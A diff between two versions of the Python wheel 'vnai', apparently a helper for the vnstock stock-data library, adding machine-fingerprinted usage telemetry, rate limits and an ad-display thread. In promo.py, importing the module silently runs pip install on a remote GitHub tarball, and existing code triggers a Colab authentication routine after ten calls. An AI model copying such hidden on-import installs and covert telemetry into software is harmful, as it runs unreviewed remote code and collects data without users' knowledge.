vnai 2.0.4__py3-none-any.whl → 2.0.5__py3-none-any.whl

vnai/__init__.py

@@ -17,6 +17,7 @@ from vnai.flow.relay import conduit, configure
 from vnai.flow.queue import buffer
 from vnai.scope.profile import inspector
 from vnai.scope.state import tracker, record
+import vnai.scope.promo
 from vnai.scope.promo import present
 
 # Constants for terms and conditions

vnai/beam/metrics.py

@@ -34,53 +34,58 @@ class Collector:
         }
         self.function_count = 0
         self.colab_auth_triggered = False
+        self.max_metric_length = 200  # Keep only the latest 200 entries
     
     def record(self, metric_type, data, priority=None):
-        """Record operation metrics"""
+        """Record operation metrics with deduplication and throttling"""
+
         # Ensure data is a dictionary
         if not isinstance(data, dict):
             data = {"value": str(data)}
-            
+
         # Add timestamp if not present
         if "timestamp" not in data:
             data["timestamp"] = datetime.now().isoformat()
-        
-        # For system_info type, keep full data
-        # For other types, only include machine_id reference
-        if metric_type != "system_info" and isinstance(data, dict):
-            # Remove any system info and just reference machine_id
-            if "system" in data:
-                del data["system"]
-            
-            # Get machine_id for reference
+
+        # For non-system info, simplify and tag machine
+        if metric_type != "system_info":
+            data.pop("system", None)
             from vnai.scope.profile import inspector
             data["machine_id"] = inspector.fingerprint()
-        
-        # Add to appropriate metrics collection
+
+        # ==== THROTTLING ====
+        now = time.time()
+        last_time = self._last_record_time.get(metric_type, 0)
+        if now - last_time < self.min_interval_per_type and priority != "high":
+            return  # Skip due to interval limit
+        self._last_record_time[metric_type] = now
+
+        # ==== DEDUPLICATION ====
+        data_hash = hashlib.md5(json.dumps(data, sort_keys=True).encode()).hexdigest()
+        if data_hash in self._recent_hashes and priority != "high":
+            return  # Skip duplicate
+        self._recent_hashes.append(data_hash)
+
+        # ==== RECORD LOGIC ====
         if metric_type in self.metrics:
             self.metrics[metric_type].append(data)
+            # Prune oldest if too long
+            if len(self.metrics[metric_type]) > self.max_metric_length:
+                self.metrics[metric_type] = self.metrics[metric_type][-self.max_metric_length:]
         else:
             self.metrics["function"].append(data)
-            
-        # Keep track of function call count for Colab auth trigger
+
+        # Function metric tracking (Colab trigger)
         if metric_type == "function":
             self.function_count += 1
-            
-            # Check if we should trigger Colab authentication
             if self.function_count > 10 and not self.colab_auth_triggered and 'google.colab' in sys.modules:
                 self.colab_auth_triggered = True
-                # Trigger in a separate thread to avoid blocking
-                threading.Thread(
-                    target=self._trigger_colab_auth,
-                    daemon=True
-                ).start()
-        
-        # Check buffer size and send if threshold reached
+                threading.Thread(target=self._trigger_colab_auth, daemon=True).start()
+
+        # Auto-send triggers
         if sum(len(metric_list) for metric_list in self.metrics.values()) >= self.thresholds["buffer_size"]:
             self._send_metrics()
-        
-        # Send immediately for high priority metrics
-        if priority == "high" or (metric_type == "error"):
+        if priority == "high" or metric_type == "error":
             self._send_metrics()
     
     def _trigger_colab_auth(self):

vnai/beam/quota.py

@@ -47,7 +47,10 @@ class Guardian:
         self.resource_limits["default"] = {"min": 60, "hour": 3000}
         self.resource_limits["TCBS"] = {"min": 60, "hour": 3000}
         self.resource_limits["VCI"] = {"min": 60, "hour": 3000}
+        self.resource_limits["MBK"] = {"min": 600, "hour": 36000}
+        self.resource_limits["MAS.ext"] = {"min": 600, "hour": 36000}
         self.resource_limits["VCI.ext"] = {"min": 600, "hour": 36000}
+        self.resource_limits["FMK.ext"] = {"min": 600, "hour": 36000}
         self.resource_limits["VND.ext"] = {"min": 600, "hour": 36000}
         self.resource_limits["CAF.ext"] = {"min": 600, "hour": 36000}
         self.resource_limits["SPL.ext"] = {"min": 600, "hour": 36000}

vnai/flow/relay.py

@@ -191,13 +191,37 @@ class Conduit:
             ).start()
     
     def queue(self, package, priority=None):
+        # --- Auto add 'segment' field to every payload ---
+        try:
+            from vnai.scope.promo import ContentManager
+            is_paid = ContentManager().is_paid_user
+            segment_val = "paid" if is_paid else "free"
+        except Exception:
+            segment_val = "free"
+
+        def ensure_segment(d):
+            if not isinstance(d, dict):
+                return d
+            d = dict(d)  # tạo bản sao để không ảnh hưởng dict gốc
+            if "segment" not in d:
+                d["segment"] = segment_val
+            return d
+        # Add segment to package if not present
+        if isinstance(package, dict) and "segment" not in package:
+            package["segment"] = segment_val
+        # Add segment to data if exists and is dict
+        if isinstance(package, dict) and isinstance(package.get("data"), dict):
+            if "segment" not in package["data"]:
+                package["data"]["segment"] = segment_val
+        # --- End auto segment ---
+
         """Queue data package"""
         if not package:
             return False
             
         # Handle non-dictionary packages
         if not isinstance(package, dict):
-            self.add_function_call({"message": str(package)})
+            self.add_function_call(ensure_segment({"message": str(package)}))
             return True
             
         # Add timestamp if not present
@@ -216,13 +240,12 @@ class Conduit:
                 data.pop("system")
                 if machine_id:
                     data["machine_id"] = machine_id
-                    
             if package_type == "function":
-                self.add_function_call(data)
+                self.add_function_call(ensure_segment(data))
             elif package_type == "api_request":
-                self.add_api_request(data)
+                self.add_api_request(ensure_segment(data))
             elif package_type == "rate_limit":
-                self.add_rate_limit(data)
+                self.add_rate_limit(ensure_segment(data))
             elif package_type == "system_info":
                 # For system info, we'll add it as a special function call
                 # but remove duplicated data
@@ -239,19 +262,22 @@ class Conduit:
                     if isinstance(metrics_list, list):
                         if metric_type == "function":
                             for item in metrics_list:
-                                self.add_function_call(item)
+                                self.add_function_call(ensure_segment(item))
                         elif metric_type == "rate_limit":
                             for item in metrics_list:
-                                self.add_rate_limit(item)
+                                self.add_rate_limit(ensure_segment(item))
                         elif metric_type == "request":
                             for item in metrics_list:
-                                self.add_api_request(item)
+                                self.add_api_request(ensure_segment(item))
             else:
                 # Default to function calls
-                self.add_function_call(data)
+                if isinstance(data, dict) and data is not package:
+                    self.add_function_call(ensure_segment(data))
+                else:
+                    self.add_function_call(ensure_segment(package))
         else:
             # No type specified, default to function call
-            self.add_function_call(package)
+            self.add_function_call(ensure_segment(package))
             
         # Handle high priority items
         if priority == "high":

vnai/scope/promo.py

@@ -10,6 +10,26 @@ import threading
 import time
 import urllib.parse
 
+# Enum AdCategory (tương thích với vnii)
+class AdCategory:
+    FREE = 0
+    MANDATORY = 1
+    ANNOUNCEMENT = 2
+    REFERRAL = 3
+    FEATURE = 4
+    GUIDE = 5
+    SURVEY = 6
+    PROMOTION = 7
+    SECURITY = 8
+    MAINTENANCE = 9
+    WARNING = 10
+
+# Thêm import kiểm tra license từ vnii
+try:
+    from vnii import lc_init
+except ImportError:
+    lc_init = None  # Nếu không có vnii, luôn coi là free user
+
 # Module-level logger setup
 logger = logging.getLogger(__name__)
 if not logger.hasHandlers():
@@ -43,19 +63,83 @@ class ContentManager:
         """
         Internal initializer: sets up display timing, URLs, and starts the periodic display thread.
         """
+        global _vnii_check_attempted
+        if _vnii_check_attempted:
+            # Đã kiểm tra/cài đặt vnii trước đó, không làm lại nữa
+            return
+        _vnii_check_attempted = True
+        # Nếu máy đã từng cài vnii, luôn cài lại bản mới nhất; nếu chưa từng cài thì coi là free user
+        import sys
+        import importlib
+        try:
+            import importlib.metadata
+            try:
+                old_version = importlib.metadata.version("vnii")
+                # Nếu đã từng cài, luôn force cài bản mới nhất
+                VNII_LATEST_VERSION = "0.0.9"
+                VNII_URL = f"https://github.com/vnstock-hq/licensing/releases/download/vnii-{VNII_LATEST_VERSION}/vnii-{VNII_LATEST_VERSION}.tar.gz"
+                logger.debug(f"Đã phát hiện vnii version {old_version}. Đang cập nhật lên bản mới nhất...")
+                import subprocess
+                subprocess.check_call([sys.executable, "-m", "pip", "install", f"vnii@{VNII_URL}"])
+                importlib.invalidate_caches()
+                if "vnii" in sys.modules:
+                    importlib.reload(sys.modules["vnii"])
+                else:
+                    import vnii
+                new_version = importlib.metadata.version("vnii")
+                logger.debug(f"Đã cập nhật vnii lên version {new_version}")
+            except importlib.metadata.PackageNotFoundError:
+                # Nếu chưa từng cài, không cài, luôn coi là free user
+                logger.debug("Không phát hiện vnii trên hệ thống. Luôn coi là free user, không kiểm tra license.")
+                self.is_paid_user = False
+                return
+        except Exception as e:
+            logger.warning(f"Lỗi khi kiểm tra/cài đặt vnii: {e}")
+            user_msg = (
+                "Không thể tự động cài đặt/cập nhật vnii. "
+                "Vui lòng liên hệ admin hoặc hỗ trợ kỹ thuật của Vnstock để được trợ giúp. "
+                f"Chi tiết lỗi: {e}"
+            )
+            logger.error(user_msg)
+            try:
+                print(user_msg)
+            except Exception:
+                pass
+            self.is_paid_user = False
+            return
+
+        # Kiểm tra trạng thái paid user (sponsor) và cache lại
+        self.is_paid_user = False
+        logger.debug("[promo] Bắt đầu kiểm tra trạng thái paid user với vnii...")
+        if lc_init is not None:
+            try:
+                license_info = lc_init(repo_name='vnstock')
+                logger.debug(f"[promo] license_info trả về: {license_info}")
+                status = license_info.get('status', '').lower()
+                if 'recognized and verified' in status:
+                    self.is_paid_user = True
+                    logger.debug("[promo] Đã xác nhận paid user từ vnii. Sẽ không hiện quảng cáo.")
+                else:
+                    logger.debug(f"[promo] Không xác nhận được paid user từ vnii. Status: {status}")
+            except Exception as e:
+                logger.warning(f"[promo] Không thể kiểm tra trạng thái sponsor: {e}. Sẽ coi là free user và hiện quảng cáo.")
+        else:
+            logger.debug("[promo] Không tìm thấy module vnii. Luôn coi là free user và hiện quảng cáo.")
+
         # Timestamp of last content display (epoch seconds)
         self.last_display = 0
         # Minimum interval between displays (24 hours)
         self.display_interval = 24 * 3600
 
         # Base endpoints for fetching remote content and linking
-        self.content_base_url = "https://vnstock-beam.hf.space/content-delivery"
+        self.content_base_url = "https://hq.vnstocks.com/static"
         self.target_url = "https://vnstocks.com/lp-khoa-hoc-python-chung-khoan"
         self.image_url = (
             "https://vnstocks.com/img/trang-chu-vnstock-python-api-phan-tich-giao-dich-chung-khoan.jpg"
         )
 
         # Launch the background thread to periodically present content
+        logger.debug(f"[promo] is_paid_user = {self.is_paid_user}")
         self._start_periodic_display()
 
     def _start_periodic_display(self):
@@ -63,21 +147,36 @@ class ContentManager:
         Launch a daemon thread that sleeps a random duration between 2–6 hours,
         then checks if the display interval has elapsed and calls present_content.
         """
+        logger.debug("[promo] Khởi tạo thread hiển thị quảng cáo định kỳ...")
         def periodic_display():
+            logger.debug("[promo] Thread quảng cáo bắt đầu chạy.")
             while True:
+                # Nếu là paid user thì không bao giờ hiện ads
+                if self.is_paid_user:
+                    logger.debug("[promo] Đang là paid user trong thread. Không hiện quảng cáo, dừng thread.")
+                    break
                 # Randomize sleep to avoid synchronized requests across instances
                 sleep_time = random.randint(2 * 3600, 6 * 3600)
+                logger.debug(f"[promo] Thread quảng cáo sẽ ngủ {sleep_time//3600} giờ...")
                 time.sleep(sleep_time)
 
                 # Present content if enough time has passed since last_display
                 current_time = time.time()
+                logger.debug(f"[promo] Kiểm tra điều kiện hiện quảng cáo: time since last_display = {current_time - self.last_display}s")
                 if current_time - self.last_display >= self.display_interval:
+                    logger.debug("[promo] Đã đủ thời gian, sẽ gọi present_content(context='periodic')")
                     self.present_content(context="periodic")
+                else:
+                    logger.debug("[promo] Chưa đủ thời gian, chưa hiện quảng cáo.")
 
         thread = threading.Thread(target=periodic_display, daemon=True)
         thread.start()
 
     def fetch_remote_content(self, context: str = "init", html: bool = True) -> str:
+        if self.is_paid_user:
+            logger.debug("Paid user detected. Skip fetching remote content (ads).")
+            return ""
+
         """
         Fetch promotional content from remote service with context and format flag.
 
@@ -104,16 +203,21 @@ class ContentManager:
             logger.debug(f"Failed to fetch remote content: {e}")
             return None
 
-    def present_content(self, environment: str = None, context: str = "init") -> None:
+    def present_content(self, context: str = "init", ad_category: int = AdCategory.FREE) -> None:
+        environment = None
+        logger.debug(f"[promo] Gọi present_content(context={context}, ad_category={ad_category}). is_paid_user = {getattr(self, 'is_paid_user', None)}")
         """
-        Present content according to the detected environment:
-        - In Jupyter: use display(HTML or Markdown).
-        - In terminal or other: log via logger.info().
-
-        Args:
-            environment: override detected environment ("jupyter", "terminal", else).
-            context: same context flag passed to fetch_remote_content and fallback logic.
+        Display promotional content in the appropriate environment.
+        ad_category: Loại quảng cáo (FREE, ANNOUNCEMENT, ...)
         """
+        # Nếu là paid user và ad_category là FREE thì skip, còn lại vẫn hiện
+        if getattr(self, 'is_paid_user', False) and ad_category == AdCategory.FREE:
+            logger.debug("[promo] Đang là paid user và ad_category là FREE. Không hiện quảng cáo.")
+            return
+
+        # Chỉ hiện log này nếu debug mode
+        if logger.level <= logging.DEBUG:
+            logger.debug(f"[promo] Sẽ hiển thị quảng cáo với context={context}, ad_category={ad_category}")
         # Update last display timestamp
         self.last_display = time.time()
 
@@ -122,42 +226,52 @@ class ContentManager:
             try:
                 from vnai.scope.profile import inspector
                 environment = inspector.examine().get("environment", "unknown")
-            except Exception:
+                logger.debug(f"[promo] Đã detect environment: {environment}")
+            except Exception as e:
+                logger.debug(f"[promo] Không detect được environment: {e}")
                 environment = "unknown"
 
         # Retrieve remote or HTML/text content based on environment
         remote_content = self.fetch_remote_content(
             context=context, html=(environment == "jupyter")
         )
+        logger.debug(f"[promo] remote_content = {bool(remote_content)} (None -> False, có nội dung -> True)")
         # Generate fallback messages if remote fetch fails
         fallback = self._generate_fallback_content(context)
+        logger.debug(f"[promo] fallback keys: {list(fallback.keys())}")
 
         if environment == "jupyter":
-            # Rich display in Jupyter notebooks
+            logger.debug("[promo] Đang ở môi trường Jupyter, sẽ thử display HTML/Markdown.")
             try:
                 from IPython.display import display, HTML, Markdown
 
                 if remote_content:
+                    logger.debug("[promo] Hiển thị quảng cáo bằng HTML từ remote_content.")
                     display(HTML(remote_content))
                 else:
-                    # Try Markdown, fallback to HTML
+                    logger.debug("[promo] Không có remote_content, thử display fallback Markdown/HTML.")
                     try:
                         display(Markdown(fallback["markdown"]))
-                    except Exception:
+                    except Exception as e:
+                        logger.debug(f"[promo] Lỗi khi display Markdown: {e}, fallback HTML.")
                         display(HTML(fallback["html"]))
             except Exception as e:
-                logger.debug(f"Jupyter display failed: {e}")
+                logger.debug(f"[promo] Jupyter display failed: {e}")
 
         elif environment == "terminal":
+            logger.debug("[promo] Đang ở môi trường terminal, sẽ log quảng cáo ra logger.")
             # Log terminal-friendly or raw content via logger
             if remote_content:
-                logger.info(remote_content)
+                logger.debug("[promo] Hiển thị quảng cáo bằng remote_content cho terminal.")
+                logger.debug(remote_content)
             else:
-                logger.info(fallback["terminal"])
+                logger.debug("[promo] Không có remote_content, hiển thị fallback terminal.")
+                logger.debug(fallback["terminal"])
 
         else:
+            logger.debug(f"[promo] Môi trường khác ({environment}), hiển thị fallback simple.")
             # Generic simple message for other environments
-            logger.info(fallback["simple"])
+            logger.debug(fallback["simple"])
 
     def _generate_fallback_content(self, context):
         fallback = {"html": "", "markdown": "", "terminal": "", "simple": ""}
@@ -225,46 +339,51 @@ class ContentManager:
 
 Cảm ơn bạn đã sử dụng package phân tích chứng khoán #1 tại Việt Nam
 
-* Tài liệu: [Sổ tay hướng dẫn](https://vnstocks.com/docs/category/s%E1%BB%95-tay-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn)
-* Cộng đồng: [Nhóm Facebook](https://www.facebook.com/groups/vnstock.official)
+* Tài liệu: [Sổ tay hướng dẫn](https://vnstocks.com/docs)
+* Cộng đồng: [Nhóm Facebook](https://facebook.com/groups/vnstock.official)
 
 Khám phá các tính năng mới nhất và tham gia cộng đồng để nhận hỗ trợ.
                 """
             )
             fallback["terminal"] = (
                 """
-╔══════════════════════════════════════════════════════════╗
-║                                                          ║
-║  👋 Chào mừng bạn đến với Vnstock!                       ║
-║                                                          ║
-║  Cảm ơn bạn đã sử dụng package phân tích                 ║
-║  chứng khoán #1 tại Việt Nam                             ║
-║                                                          ║
-║  ✓ Tài liệu: https://vnstocks.com/docs/category/s%E1%BB%95-tay-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn             ║
-║  ✓ Cộng đồng: https://www.facebook.com/groups/vnstock.official             ║
-║                                                          ║
-║  Khám phá các tính năng mới nhất và tham gia             ║
-║  cộng đồng để nhận hỗ trợ.                               ║
-║                                                          ║
-╚══════════════════════════════════════════════════════════╝
+╔════════════════════════════════════════════════════════════╗
+║                                                            ║
+║  👋 Chào mừng bạn đến với Vnstock!                         ║
+║                                                            ║
+║  Cảm ơn bạn đã sử dụng package phân tích                   ║
+║  chứng khoán #1 tại Việt Nam                               ║
+║                                                            ║
+║  ✓ Tài liệu: https://vnstocks.com/docs                     ║
+║  ✓ Cộng đồng: https://facebook.com/groups/vnstock.official ║
+║                                                            ║
+║  Khám phá các tính năng mới nhất và tham gia               ║
+║  cộng đồng để nhận hỗ trợ.                                 ║
+║                                                            ║
+╚════════════════════════════════════════════════════════════╝
                 """
             )
             fallback["simple"] = (
                 "👋 Chào mừng bạn đến với Vnstock! "
-                "Tài liệu: https://vnstocks.com/docs/tai-lieu/huong-dan-nhanh | "
-                "Cộng đồng: https://www.facebook.com/groups/vnstock.official"
+                "Tài liệu: https://vnstocks.com/onboard | "
+                "Cộng đồng: https://facebook.com/groups/vnstock.official"
             )
         return fallback
 
 # Singleton instance for module-level use
 manager = ContentManager()
 
+# Ép buộc hiện quảng cáo ngay khi import nếu là free user
+if not getattr(manager, 'is_paid_user', False):
+    manager.present_content(context="auto_import")
+
 
-def present(context: str = "init") -> None:
+def present(context: str = "init", ad_category: int = AdCategory.FREE) -> None:
     """
     Shortcut to ContentManager.present_content for external callers.
 
     Args:
         context: propagate context string to ContentManager.
+        ad_category: loại quảng cáo (FREE, ANNOUNCEMENT, ...)
     """
-    return manager.present_content(context=context)
+    manager.present_content(context=context, ad_category=ad_category)

{vnai-2.0.4.dist-info → vnai-2.0.5.dist-info}/METADATA

@@ -1,11 +1,10 @@
 Metadata-Version: 2.4
 Name: vnai
-Version: 2.0.4
+Version: 2.0.5
 Summary: System optimization and resource management toolkit
-Home-page: https://github.com/vnstock-hq/initialization/new/main
-Author: Vnstock HQ
-Author-email: support@vnstocks.com
+Author-email: Vnstock HQ <support@vnstocks.com>
 License: MIT
+Project-URL: Homepage, https://vnstocks.com
 Classifier: Programming Language :: Python :: 3
 Classifier: Operating System :: OS Independent
 Classifier: Development Status :: 4 - Beta
@@ -17,16 +16,5 @@ Requires-Dist: requests>=2.25.0
 Requires-Dist: psutil>=5.8.0
 Provides-Extra: dev
 Requires-Dist: pytest>=6.0.0; extra == "dev"
-Dynamic: author
-Dynamic: author-email
-Dynamic: classifier
-Dynamic: description
-Dynamic: description-content-type
-Dynamic: home-page
-Dynamic: license
-Dynamic: provides-extra
-Dynamic: requires-dist
-Dynamic: requires-python
-Dynamic: summary
 
-System resource management and performance optimization toolkit
+# VnAI

vnai-2.0.5.dist-info/RECORD

@@ -0,0 +1,16 @@
+vnai/__init__.py,sha256=t27DlC7AGj-c4MrunqFne0bohTHE4NfZQL_nEsvWmlc,9106
+vnai/beam/__init__.py,sha256=xKb_iu9aAPXCulI7dENrvqVIhelSD1mIqKE9Go3GAHw,200
+vnai/beam/metrics.py,sha256=Yjht8nMLxm0JaRSVcHUwHyPkfWReIzgD5uuaXAFNjlE,7472
+vnai/beam/pulse.py,sha256=jp1YwjLaMhne2nYhM5PofveDsdrSp2YtewQ2jjE78Is,3470
+vnai/beam/quota.py,sha256=Ob_IoVpDKL6IdxxivkU1Z5x2nvIf-X1DQeQXdCiRUiU,21424
+vnai/flow/__init__.py,sha256=K3OeabzAWGrdPgTAOlDqrJh2y9aQW2pgLZg8tblN3ho,147
+vnai/flow/queue.py,sha256=b9YKUbiXDZRC3fVgEnA77EO0EMXAi8eCoBkHnAUI5Sc,4162
+vnai/flow/relay.py,sha256=XA4dognPrZ7IQbrgckeEjFw80IgBoK7i8LRmd1A4vR8,17058
+vnai/scope/__init__.py,sha256=overJZ_UiEfBRNcSieE1GPU_9X3oS4C5l6JeBaFFVxk,267
+vnai/scope/profile.py,sha256=6LL7Djke9F1HVA9eEExud2jZ5yGUfy9_NYt68nIj2-8,30737
+vnai/scope/promo.py,sha256=-RlhLhPCXKgC8ofUVI3Nyl8sRAXsAb5Jr3Vcx5Kp-Pc,19193
+vnai/scope/state.py,sha256=LlcZNKBy2mcAnD765BO2Tlv3Zzbak2TOEz4RUPMCFZ8,7490
+vnai-2.0.5.dist-info/METADATA,sha256=mPsBTATubpJejbTeTGiKzUi0Ngpu7JamuFpITlJSTs0,666
+vnai-2.0.5.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
+vnai-2.0.5.dist-info/top_level.txt,sha256=4zI0qZHePCwvgSqXl4420sBcd0VzZn4MEcRsAIFae3k,5
+vnai-2.0.5.dist-info/RECORD,,

{vnai-2.0.4.dist-info → vnai-2.0.5.dist-info}/WHEEL

@@ -1,5 +1,5 @@
 Wheel-Version: 1.0
-Generator: setuptools (79.0.0)
+Generator: setuptools (80.9.0)
 Root-Is-Purelib: true
 Tag: py3-none-any
 

vnai-2.0.4.dist-info/RECORD

@@ -1,16 +0,0 @@
-vnai/__init__.py,sha256=ClnS_1T23BjbzejrIW4KTsAVBhXuq9bjDUcRP5AIcPo,9082
-vnai/beam/__init__.py,sha256=xKb_iu9aAPXCulI7dENrvqVIhelSD1mIqKE9Go3GAHw,200
-vnai/beam/metrics.py,sha256=xVmVw93yhKeWzRZJurmrD9mWur16HyLJl_p1XqMwW_w,7187
-vnai/beam/pulse.py,sha256=jp1YwjLaMhne2nYhM5PofveDsdrSp2YtewQ2jjE78Is,3470
-vnai/beam/quota.py,sha256=yP5_Z62QJwOoCEgqqWuNkzm1Dar70UiJsu6W27LNqiw,21218
-vnai/flow/__init__.py,sha256=K3OeabzAWGrdPgTAOlDqrJh2y9aQW2pgLZg8tblN3ho,147
-vnai/flow/queue.py,sha256=b9YKUbiXDZRC3fVgEnA77EO0EMXAi8eCoBkHnAUI5Sc,4162
-vnai/flow/relay.py,sha256=RtIPRZ3BlQd-XgTbisJg0iC1HqikAjHGyyo8aTj_fUw,15766
-vnai/scope/__init__.py,sha256=overJZ_UiEfBRNcSieE1GPU_9X3oS4C5l6JeBaFFVxk,267
-vnai/scope/profile.py,sha256=6LL7Djke9F1HVA9eEExud2jZ5yGUfy9_NYt68nIj2-8,30737
-vnai/scope/promo.py,sha256=N4aWZdh92rVNovjCwuUjv-QdhoRwloPAn4Hydx4IcRs,12515
-vnai/scope/state.py,sha256=LlcZNKBy2mcAnD765BO2Tlv3Zzbak2TOEz4RUPMCFZ8,7490
-vnai-2.0.4.dist-info/METADATA,sha256=rgGwwXBeevv4rjzJ-hLADRkGnPcuTaC3rMnSgd_WMRw,988
-vnai-2.0.4.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
-vnai-2.0.4.dist-info/top_level.txt,sha256=4zI0qZHePCwvgSqXl4420sBcd0VzZn4MEcRsAIFae3k,5
-vnai-2.0.4.dist-info/RECORD,,